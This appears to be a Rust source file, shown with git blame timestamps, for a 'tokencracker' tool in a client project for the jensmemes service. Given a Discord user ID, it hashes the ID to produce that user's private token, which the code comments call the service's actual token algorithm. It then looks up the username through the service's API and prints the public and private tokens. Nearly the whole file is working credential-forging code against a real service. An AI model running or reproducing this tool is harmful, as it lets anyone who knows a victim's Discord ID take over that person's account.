jensmemesclient/tokencracker/src/main.rs

52 lines
1.5 KiB
Rust
Raw Normal View History

2020-11-10 23:16:51 +01:00
use anyhow::Result;
use clap::{App, Arg};
use reqwest::{Client, Url};
2020-11-11 16:26:36 +01:00
use tokencracker::{api::{JensmemesUser, UserResponse}, hex_string_hash};
2020-11-10 23:16:51 +01:00
#[tokio::main]
async fn main() -> Result<()> {
let http = Client::builder().build()?;
let matches = App::new("tokencracker")
.arg(
Arg::with_name("discord_id")
.index(1)
.required(true)
.help("The discord ID of the user whos token to crack."),
)
.get_matches();
let id = matches.value_of("discord_id").unwrap();
// yes, this is the actual jensmemes token algorythm
let private = hex_string_hash(id);
let public = hex_string_hash(&private);
// get discord username from jensmemes API
let response = http
.get(Url::parse_with_params(
"https://data.tilera.xyz/api/jensmemes/user",
&[("id", &public)],
)?)
.send()
.await?;
2020-11-11 16:26:36 +01:00
let (username, userdir) =
2020-11-10 23:16:51 +01:00
if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) {
2020-11-11 16:26:36 +01:00
let UserResponse { user: JensmemesUser {name, userdir, ..}, .. } = serde_json::from_slice::<UserResponse>(&usr)?;
(name, userdir)
2020-11-10 23:16:51 +01:00
} else {
2020-11-11 16:26:36 +01:00
("Not in Database".into(), public.clone())
2020-11-10 23:16:51 +01:00
};
println!(
"Username: {}
Public Token: {}
2020-11-11 16:26:36 +01:00
Private Token: {}
User: https://data.tilera.xyz/file/jensmemes/images/{}",
username, public, private, userdir
2020-11-10 23:16:51 +01:00
);
Ok(())
}